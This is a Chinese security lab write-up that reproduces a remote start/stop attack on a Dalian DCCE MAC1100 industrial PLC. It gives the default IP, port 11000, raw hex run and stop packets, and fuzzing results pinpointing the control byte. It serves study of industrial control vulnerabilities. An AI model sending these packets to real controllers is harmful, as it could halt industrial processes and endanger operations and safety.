【工控安全】大工PLC-远程启停攻击实验
2020-03-20 17:14:16 Author: www.secpulse.com(查看原文) 阅读量:287 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

早在“2019护网杯”线下赛中就接触过PLC远程启停的题目,但是当初还对工控安全一知半解,更不用说PLC了,在这之前也没见过真实的plc设备。因此,在比赛中也没得到该题目的分数。

去年10月份有幸参加了灯塔实验室组织的工控安全高阶培训,培训中大佬们有讲到关于PLC远程启停的实验,后来本着学习的态度购买了一系列工控安全学习设备,包括西门子S7-1200-PLC、大工Mac系列PLC等,于是开始尝试复现PLC远程启停的实验。

先是参考:http://www.key1.top/index.php/archives/469/使用ISF框架来复现S7-1200 PLC远程启停攻击,多次尝试均未成功,后来咨询了67626d大佬,说是由于我的PLC固件版本太高导致不存在PLC远程启停漏洞了…只怪自己太菜,不敢尝试刷低版本PLC固件,于是决定先放弃~~

后面又借助灯塔实验室大佬的思路进行复现,在此过程中也获取到了启停的数据流,但是不知出于什么原因没有复现成功。周末时间再尝试下,成功后将此记录下来,以供学习与交流。

二、Mac1100 PLC简介

MAC1100 PLC可编程逻辑控制器(PLC)是大连计控(DCCE)可编程逻辑控制器(PLC)系列中的一款产品。该产品被广泛应用于智能楼宇、电力数据监控、控热控制系统、企业管理系统等重要工业控制现场。

MAC1100 PLC存在远程控制漏洞,攻击者可利用漏洞远程直接控制PLC的开启和停止,影响控制器的正常运行。

参考链接:https://www.cnvd.org.cn/flaw/show/CNVD-2018-08787

3.1 工具及运行环境

  • 大工Mac1100PLC

  • PLC_Config

  • WireShark

  • 通信猫调试软件

3.2 远程启停步骤

1、连接PLC Mac1100

大工PLC Mac1100出厂默认ip为:192.168.1.181

配置电脑ip:192.168.1.182

使用PLCConfig软件连接plc控制器

2、打开wireshark抓包,获取plc的启、停流量

plc run流量:0d00242410001d002400f82a03000000

plc stop流量:0d00d67810001e000000f82a01000000

3、借助通信猫调试软件工具进行plc远程启停

首先进行PLC的启动操作,通信猫调试软件工具由本机向192.168.1.181的11000端口发动0d00242410001d002400f82a03000000启动报文,可见plc此时已经Run起来了。

同理,向192.168.1.181的11000端口发动0d00d67810001e000000f82a01000000停止报文,可见plc此时已经处于Stop状态。

四、总结

经过多轮的启停测试,获取了下列流量。通过观察,每一组启、停的流量中都存在几处相同的数据流,针对存在差异的数据流进行了Fuzzing测试,最终得到结论:

0d005454100006002400f82a0?000000

?处的这一位控制着PLC设备的启停。

run :0d005454100006002400f82a03000000
stop:0d0007c2100007000000f82a01000000

run :0d00e58e100001002400f82a03000000
stop:0d0017d2100002000000f82a01000000

run :0d00a45b100005002400f82a03000000
stop:0d005607100006000000f82a01000000

run :0d000591100007002400f82a03000000
stop:0d0037f2100008000000f82a01000000

run :0d006464100009002400f82a03000000
stop:0d00963810000a000000f82a01000000

run :0d00c5ae10000b002400f82a03000000
stop:0d00762710000c000000f82a01000000

run :0d0025b110000d002400f82a03000000
stop:0d00d7ed10000e000000f82a01000000

run :0d00847b10000f002400f82a03000000
stop:0d00b78d100010000000f82a01000000

run :0d00e41b100011002400f82a03000000
stop:0d001647100012000000f82a01000000

run :0d0045d1100013002400f82a03000000
stop:0d00f658100014000000f82a01000000

run :0d00a5ce100015002400f82a03000000
stop:0d005792100016000000f82a01000000

E

N

D

本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/126088.html


文章来源: https://www.secpulse.com/archives/126088.html
如有侵权请联系:admin#unsafe.sh